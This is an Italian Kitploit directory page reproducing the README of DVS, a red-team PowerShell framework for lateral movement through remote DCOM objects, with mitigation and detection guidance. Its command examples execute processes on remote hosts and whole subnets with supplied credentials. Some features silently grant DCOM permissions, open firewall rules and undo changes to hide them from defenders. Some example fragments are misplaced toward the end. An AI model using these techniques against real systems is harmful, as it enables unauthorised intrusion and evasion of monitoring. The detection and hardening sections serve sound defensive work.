Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DVS — D(COM) V(ulnerabilità) S(canner) alias coltello svizzero subdolo - Movimento laterale utilizzando oggetti DCOM | Kitploit
Strumenti/GitHubGitHub/scorpioneslabs/dvs
ExploitMovimento LateralePost-ExploitPenetration TestingCommand and ControlRed Teaming
GitHubscorpioneslabs/dvs

DVS

D(COM) V(ulnerabilità) S(canner) alias coltello svizzero subdolo - Movimento laterale utilizzando oggetti DCOM

Vedi Repository
256475 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

D(COM) V(ulnerability) S(canner) AKA Subdolo coltellino svizzero - Movimento laterale utilizzando oggetti DCOM

Ti sei mai chiesto come puoi muoverti lateralmente all'interno delle reti? o interagire con macchine remote senza allertare gli EDR?
Supponiamo di avere credenziali valide, o una sessione attiva con accesso a una macchina remota, ma senza un'opzione per eseguire un processo remoto in un modo noto, atteso o altamente monitorato (ad es. WMI, Task Scheduler, WinRM, PowerShell Remoting).

Per questi scenari, il framework DVS viene in soccorso.

Il framework DVS è un coltellino svizzero che ti consente di enumerare funzioni vulnerabili di oggetti DCOM remoti, lanciarle e persino lanciare attacchi utilizzandoli.

Il framework è sviluppato con una mentalità "Red Team" e utilizza metodi furtivi per compromettere macchine remote.

Il framework DVS contiene vari modi per bypassare l'hardening remoto contro DCOM riabilitando l'accesso DCOM da remoto e concedendo automaticamente le autorizzazioni necessarie all'utente attaccante.

Il framework può anche ripristinare le modifiche sulla macchina remota allo stato originale, prima dell'attacco - nascondendo queste modifiche ai difensori.

Il nostro principale insight è che lo strumento può anche eseguire comandi utilizzando oggetti DCOM non vulnerabili attraverso una tecnica aqsome (leggi sotto su Invoke-RegisterRemoteSchema)

Compatibile con PowerShell 2.0 e successivi

Video PoC su Youtube: DVS

Disclaimer

Questo strumento è solo per scopi di test e educativi. Qualsiasi altro utilizzo di questo codice non è consentito. Usalo a tuo rischio.
L'autore non si assume ALCUNA responsabilità per l'uso improprio di questo strumento.
Utilizzandolo accetti il fatto che qualsiasi danno causato dall'uso di questo strumento è di tua responsabilità.

Accesso al registro - come il framework DVS utilizza quel protocollo

  • Accesso al registro remoto (MS-RRP)

    1. Sonda la porta 445 per interagire con il registro remoto
    2. Controlla se il registro remoto è abilitato
    3. Interagisci con il registro remoto
    4. Se la modalità AutoGrant è attiva, controlla i permessi di scrittura. altrimenti, controlla i permessi di lettura
  • Provider di registro standard (Se il registro remoto è negato)

    1. Sonda la porta 135 per interagire con il "Provider di registro standard" tramite WMI
    2. Controlla se StdRegProv è accessibile
    3. Interagisci con il Provider di registro standard
    4. Se la modalità AutoGrant è attiva, controlla i permessi di scrittura, altrimenti, controlla i permessi di lettura

Perché questo strumento è così furtivo?

Lo strumento DVS controlla prima se l'identità principale ha accesso alla macchina remota tramite i seguenti passaggi:

  • Azioni di base

    1. Operazioni di autenticazione (se SkipRegAuth non è attivo)
      1. Se vengono fornite credenziali, crea una sessione 'net-only'. altrimenti, utilizzerà la sessione corrente.
      2. Sonda l'accesso al registro.
    2. Controlla se la funzionalità DCOM è abilitata
    3. Consenti accesso DCOM (se AutoGrant attivo), altrimenti fallisce
    4. Controlla se l'utente connesso/utente fornito e i gruppi di cui l'utente è membro (tramite la funzionalità adsi/WindowsIdentity), hanno il permesso di interagire con il DCOM (tramite query del registro remoto)
    5. Concedi permessi (se AutoGrant attivo), altrimenti fallisce
    6. Risolvi il nome di dominio dalla macchina remota usando NetBIOS su TCP (usando NetAPI32, o pacchetto UDP), se fallisce proverà usando il registro (Hive HKLM o HKCU)
  • Invoke-DCOMObjectScan

    1. Interagisci con gli oggetti DCOM
    2. Enumera l'oggetto DCOM e trova funzioni vulnerabili
    3. Convalida la possibilità di sfruttamento
    4. Genera payload di esecuzione
    5. Recupera informazioni personali sull'oggetto DCOM vulnerabile
  • Get-ExecutionCommand

    1. Genera payload di esecuzione
  • Invoke-ExecutionCommand

Componenti dello strumento

  • Analizzatore dei diritti di sicurezza - Analisi dei diritti dell'identità principale per accedere all'oggetto DCOM remoto
  • Concessione accesso remoto - Concede permessi all'utente connesso da remoto (nel caso non fossero già concessi)
  • Scanner DCOM - Scansiona e analizza oggetti DCOM remoti/locali per funzioni vulnerabili fornite (Devono essere specificati pattern e nomi di funzioni)
    Quando lo strumento rileva una funzione vulnerabile, controllerà quali argomenti include la funzione e se la funzione ha la capacità di eseguire comandi
  • Generatore di comandi DCOM - Genera un payload PowerShell da eseguire sulla macchina remota
  • Report - Genera un report CSV con tutte le informazioni sull'oggetto DCOM vulnerabile
  • Esecuzione di comandi - Esegui comandi tramite oggetti DCOM

Autore

  • Nimrod Levy

Licenza

  • GPL v3

Scenari testati

  • Da fuori dominio a dominio
  • Dall'interno del dominio a un'altra macchina unita al dominio
  • Da dominio a fuori dominio
  • Dalla sessione corrente a un'altra macchina unita al dominio

Sistemi operativi testati

  • Windows 7 SP1
  • Windows 8.1
  • Windows 10
  • Windows Server 2019

Crediti

  • Grazie a Rafel Ivgi per il mentoring e per aver aiutato con la mentalità architetturale dello strumento.
  • Grazie a Yossi Sasi per avermi aiutato a ottimizzare lo script.
  • Grazie a Gleb Glazkov per aver scritto la sezione mitigazioni e prevenzioni

Installazione:

root@kitploit:~
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed  # Get details of the Invoke-DCOMObjectScan command
PS> Get-Help Get-ExecutionCommand -Detailed # Get details of the Get-ExecutionCommand command
PS> Get-Help Invoke-ExecutionCommand -Detailed # Get details of the Invoke-ExecutionCommand command
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Get details of the Invoke-RegisterRemoteSchema command

Invoke-DCOMObjectScan

La funzione Invoke-DCOMObjectScan ti consente di scansionare oggetti DCOM e trovare funzioni vulnerabili tramite un elenco di pattern o nomi di funzioni esatti che hai incluso in un file.

  • Esempi:

    1. Enumera e scansiona l'oggetto MMC20.Application (ProgID) dalla macchina attaccante all'host DC01 senza interrogare il registro.

      root@kitploit:~
         Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
      

    Nota: Lo strumento non analizzerà i permessi ACL, e quando lo strumento avrà successo, risolverà tutte le informazioni sull'oggetto, tranne i dettagli menzionati sul registro (come nome oggetto, file eseguibile, ecc.)

    1. Controlla se l'oggetto MMC20.Application (ProgID) è accessibile dalla macchina attaccante all'host DC01 senza prima interrogare e verificare l'elenco di accesso dell'oggetto DCOM.

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
      
    2. Valida se MMC20.Application (ProgID) è applicabile tramite l'intervallo 10.211.55.4/24. Se esiste, lo strumento proverà a enumerare le informazioni su di esso. (utilizzando la sessione utente corrente).

      root@kitploit:~

Get-ExecutionCommand

La funzione Get-ExecutionCommand consente di generare un payload PowerShell che interagirà e verrà eseguito con la funzione DCOM remota con i parametri pertinenti.

  • Esempi:
    1. Controlla se l'identità principale ha il permesso di interagire con l'oggetto CLSID {00020812-0000-0000-C000-000000000046} tramite l'indirizzo IP 10.211.55.4 utilizzando le credenziali lab\administrator, poi genera il comando di esecuzione.

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
      
    2. Controlla l'accesso DCOM,
      Nel caso l'identità principale non abbia i permessi necessari o la funzionalità DCOM sia disabilitata, lo strumento abiliterà la funzionalità DCOM, concederà l'accesso all'identità e interagirà con l'oggetto MMC20.Application (ProgID) tramite l'indirizzo IP 10.211.55.4 utilizzando le credenziali lab\administrator, e ti genererà il comando di esecuzione.
      Infine, ripristinerà la macchina allo stesso stato di prima dell'attacco.

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
      

Invoke-ExecutionCommand

La funzione Invoke-ExecutionCommand consente di eseguire comandi tramite oggetti DCOM utilizzando l'utente connesso o credenziali fornite.

  • Esempi:

    1. Controlla l'accesso DCOM,
      Nel caso l'identità principale non abbia i permessi necessari o la funzionalità DCOM sia disabilitata, lo strumento abiliterà la funzionalità DCOM, concederà l'accesso, interagirà con l'oggetto MMC20.Application (ProgID) tramite l'intervallo: 10.211.55.1/24 utilizzando la sessione utente corrente ed eseguirà i seguenti comandi:

      1. Esegue il comando cmd.exe /c calc

      2. Imposta l'attributo Frame.Top a 1 Infine, ripristina la macchina allo stesso stato di prima dell'attacco.

        root@kitploit:~
         PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
        
    2. Prova a interagire con l'oggetto MMC20.Application (ProgID) utilizzando le credenziali lab\administrator tramite l'indirizzo IP 10.211.55.4, ed esegue il seguente comando: .

Invoke-RegisterRemoteSchema

La funzione Invoke-RegisterRemoteSchema consente di eseguire comandi tramite i seguenti oggetti DCOM utilizzando l'utente connesso o credenziali fornite:

  • ShellBrowserWindow
  • ShellWindows
  • Internet Explorer
  • ielowutil.exe

Nota: Questi oggetti DCOM non necessitano di alcun accesso all'hive della macchina locale. possono prendere piede con qualsiasi utente che possa accedere alla macchina remota!

  • Esempi:
    1. Esegue il comando cmd /c calc sull'intervallo 10.211.55.1/24 utilizzando la sessione corrente, e concede privilegi se necessario

      root@kitploit:~
         PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
      
    2. Esegue il comando cmd /c calc sulla macchina remota 10.211.55.4 utilizzando credenziali fornite

      root@kitploit:~
         PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
      

Lavori futuri

  • Analizzare e modificare le regole del firewall da remoto

Mitigazioni e Raccomandazioni

Technica MITRE: T1021.003 - Remote Services: Distributed Component Object Model

Prevenzione

  • Disabilitare l'accesso DCOM remoto

    • considerazioni:
      • Applicazioni di terze parti dipendenti da DCOM
      • La gestione remota del sistema tramite "Windows Management Instrumentation" non funzionerà
      • Possibili problemi con oggetti COM
  • Non consentire l'accesso remoto al registro se non necessario

    Entrambe le opzioni sono difficili da implementare in un ambiente aziendale senza impatto sulla disponibilità.

    Tuttavia, può essere una buona opzione di hardening per endpoint che non necessitano di gestione remota del dominio. (es. endpoint autonomi)

  • Abilitare i profili Dominio e Privato in Windows Defender Firewall

    • Lo strumento DVS bypassa questo controllo di sicurezza creando una regola nel firewall per consentire qualsiasi connessione RPC dinamica
  • Passare all'uso di LAPS per ridurre la superficie di attacco. Se ogni computer nel dominio ha una password amministratore locale diversa, questo account non può essere utilizzato per il movimento laterale.

  • L'hardening dei diritti di accesso utente può prevenire questo attacco

    • Utilizzando oggetti Criteri di gruppo, un'organizzazione può rimuovere amministratori, utenti e altri gruppi dall'elenco, e passare all'uso di un gruppo/utente speciale per la gestione centralizzata che non accede in modo interattivo ad altri computer

      root@kitploit:~
      [Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
      

      Nelle guide ufficiali di hardening come CIS, l'impostazione raccomandata di [Access this computer from the network] è con i valori di "administrators e Remote Desktop Users o Authenticated users". Queste raccomandazioni sono vulnerabili allo strumento DVS.

  • Rafforzare i permessi DCOM rimuovendo i diritti di amministratori dai permessi - Avvio remoto e Attivazione remota.

    • [Computer Configuration\Windows Settings\Local Policies\Security Options\DCOM]: Machine Launch Restrictions in Security Descriptor Definition Language () sintassi

Rilevamento

  • Monitorare le modifiche al registro nelle seguenti posizioni:

    root@kitploit:~
       [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
    

    Questa chiave è l'impostazione dei permessi DCOM. Se vengono modificate, potrebbe significare che un avversario che ha utilizzato lo strumento DVS ha rimosso l'hardening.

    root@kitploit:~
      [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
    

    "Le sottochiavi e i valori del registro associati alla chiave [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] contengono informazioni su un'applicazione necessarie per supportare la funzionalità COM. Queste informazioni includono argomenti come formati di dati supportati, informazioni di compatibilità, identificatori programmatici, DCOM e controlli." Riferimento Microsoft dev center

    root@kitploit:~
      [MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
    

    La modifica di questa chiave può indicare che lo strumento DVS ha disabilitato le restrizioni attivazione remota e avvio remoto di DCOM.

  • Utilizzare un firewall consapevole delle applicazioni per bloccare l'accesso DCOM tra computer. Specialmente da un computer che non fa parte dell'infrastruttura IT o di gestione.

  • Un sistema di prevenzione delle intrusioni (es. Snort, Suricata) può essere utilizzato per rilevare il protocollo DCOM basato su RPC (MS-RPC, MS-RPCE) e il protocollo del registro remoto (MS-RRP).

    • Possibile regola Snort
  • Monitorare Windows Defender Firewall abilitando il registro di controllo sul traffico bloccato per i profili dominio e privato.

  • Monitorare le modifiche alla seguente chiave. Potrebbe indicare che lo strumento DVS ha creato una regola per bypassare le restrizioni RPC dinamiche di Microsoft Defender Firewall.

    root@kitploit:~
      [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
    

Vai a questa chiave di registro: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] Crea nuovi DWORD con valore '1' chiamati ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel

  • 4624 (Accesso riuscito) - Un team blu può creare correlazione di eventi per intercettare connessioni da macchine remote a DCOM. Un esempio:
    • event ID 4624 - Logon
    • Account Name: SYSTEM
    • Process Name: C:\Windows\System32\services.exe
  • 4680 (Utente sconosciuto o password errata) - Si verifica quando si utilizza un utente o una password errati
  • 4688 (Creazione processo) - Monitora i processi vulnerabili che creano sottoprocessi pericolosi utilizzando un utente amministrativo. Esempio:
    • Creator Process Name: C:\Windows\System32\mmc.exe -> New Process Name: C:\Windows\System32\cmd.exe
    • Creator Process Name: C:\Windows\System32\svchost.exe -> New Process Name: C:\Windows\System32\mmc.exe
  • 8002 (NTLM) - Controlla il traffico NTLM in entrata che verrebbe bloccato. Esempio:
    • Calling process name: C:\Windows\System32\mmc.exe
    • Calling process user identity: USER
    • Calling process domain identity: DOMAIN
  • 8003 (NTLM) - Controlla l'autenticazione NTLM in questo dominio. Esempio:
    • User: User
    • Domain: DOMAIN
    • Workstation: ATTACKER
    • Process: C:\Windows\System32\mmc.exe / C:\Windows\System32\dllhost.exe / C:\Windows\System32\svchost.exe / C:\Program Files\Internet Explorer\iexplore.exe
    • Logon type: 3
  • 10010 (Microsoft-Windows-DistributedCOM) - Il server %1 non si è registrato con DCOM entro il timeout richiesto.
  • 10014 (Microsoft-Windows-DistributedCOM) - per attivazione CLSID fallita a causa di impostazioni di attivazione remota disabilitate per COM+.
  • 10015 (Microsoft-Windows-DistributedCOM) - esecuzione DCOM fallita a causa di permessi insufficienti.
  • 10016 (Microsoft-Windows-DistributedCOM) - esecuzione DCOM fallita a causa di permessi insufficienti. Esempio:
    • The machine-default permission settings do not grant Local Activation permission for the COM Server application with CLSID {C2F03A33-21F5-47FA-B4BB-156362A2F239} e APPID {316CDED5-E4AE-4B15-9113-7055D84DCC97} all'utente DOMAIN\Scorpiones
  • 10021 (Microsoft-Windows-DistributedCOM) - Il descrittore di sicurezza di avvio e attivazione per l'applicazione server COM con APPID {0000000} non è valido.
Scarica lo strumento
  1. Prova a interagire con gli oggetti DCOM
  2. Esegui i comandi
  • Invoke-RegisterRemoteSchema

    1. Prova a interagire con uno dei seguenti oggetti DCOM:
      • InternetExplorer.Application - Oggetto COM di InternetExplorer
      • {D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E} - Un altro oggetto COM di Internet Explorer
      • {C08AFD90-F2A1-11D1-8455-00A0C91F3880} - ShellBrowserWindow
      • {9BA05972-F6A8-11CF-A442-00A0C90A8F39} - ShellWindows
    2. Registra schema remoto (es. http://)
    3. Configura lo schema per eseguire comandi dal contenuto dello schema
    4. Esegui il comando
  • PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
  • Valida se l'oggetto CLSID {00020812-0000-0000-C000-000000000046} tramite l'indirizzo IP 10.211.55.4 esiste ed è accessibile. Se esiste, lo strumento risolverà le informazioni su di esso. (Utilizzando le credenziali lab\administrator).

    root@kitploit:~
       PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose   
    
  • Scansiona tutti gli oggetti memorizzati su un percorso specificato (es. C:\Users\USERNAME\Desktop\DVS\objects.txt) tramite l'indirizzo IP 10.211.55.4, e trova l'elenco di funzioni situato nel file specificato come vulnerable.txt utilizzando le credenziali lab\administrator con la seguente configurazione:
    Profondità massima: 4
    Risultati massimi: 1 (1 risultato per ogni oggetto)
    Modalità AutoGrant: Se non abbiamo accesso all'oggetto o se la funzionalità DCOM è disabilitata, abilita la funzionalità DCOM ed esegue la concessione automatica all'oggetto DCOM pertinente.
    Infine, ripristina la macchina allo stesso stato di prima dell'attacco.

    root@kitploit:~
       PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
    
  • Scansiona tutti gli oggetti memorizzati sulle macchine remote disponibili dall'intervallo 10.211.55.1/24 e trova potenziali funzioni vulnerabili dall'elenco situato nel file selezionato (es. C:\Users\USERNAME\Desktop\DVS\vulnerable.txt), esclude gli oggetti nel file selezionato (es. C:\Users\USERNAME\Desktop\DVS\exclude.txt), e salta le proprietà con lo stesso nome su altri percorsi dello stesso oggetto.
    NOTA: Il flag SkipSameProperyName potrebbe mancare funzioni vulnerabili quando esiste lo stesso nome di proprietà con preferenze diverse (Metodi/altre proprietà) o catena di profondità diversa.

    root@kitploit:~
       PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All  -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
    
  • Prova a interagire con l'oggetto MMC20.Application (ProgID) tramite l'intervallo 10.211.55.1/24 utilizzando la sessione corrente senza analizzare i permessi ACL, poi genera il comando di esecuzione.

    root@kitploit:~
       PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
    
  • Prova a interagire con l'oggetto MMC20.Application (ProgID) tramite l'indirizzo IP 10.211.55.4 senza interrogare il registro.

    root@kitploit:~
       PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
    
  • cmd.exe /c calc
    root@kitploit:~
       PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
    
  • Prova a interagire con l'oggetto MMC20.Application (ProgID) utilizzando la sessione utente corrente senza analizzare i permessi ACL, ed esegue il seguente comando: cmd.exe /c calc.

    root@kitploit:~
       PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
    
  • SDDL
  • Utilizzare un firewall basato su host / firewall consapevole delle applicazioni per bloccare l'accesso DCOM tra computer. Specialmente per un computer che non fa parte dell'infrastruttura IT o di gestione.

  • Le regole di controllo applicazioni possono essere utilizzate come ultimo anello di controlli di sicurezza per impedire ai processi vulnerabili di generare processi figlio pericolosi o caricare DLL.
    Esempi:

    root@kitploit:~
    mmc.exe -> cmd.exe
    explorer.exe -> regsvr.exe
    visio.exe -> wmic.exe
    excel.exe -> Rundll32.exe
    outlook.exe -> cmd.exe
    
  • Le regole di riduzione della superficie di attacco di Microsoft possono essere utilizzate per impedire ai processi vulnerabili di generare processi figlio pericolosi.

  • Monitorare i registri eventi di Windows:Abilita il controllo degli eventi. Impostazioni di controllo che dovrebbero essere abilitate in caso di successo e fallimento: Controlla eventi di accesso account | Controlla eventi di accesso | Controlla accesso oggetti | Controllo NTLM